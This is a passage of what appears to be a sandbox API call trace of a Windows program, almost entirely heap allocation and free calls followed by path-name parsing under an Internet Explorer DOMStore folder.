dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323eee0 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323eee0 | out: hHeap=0x660000) returned 1 [0115.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0115.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0115.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 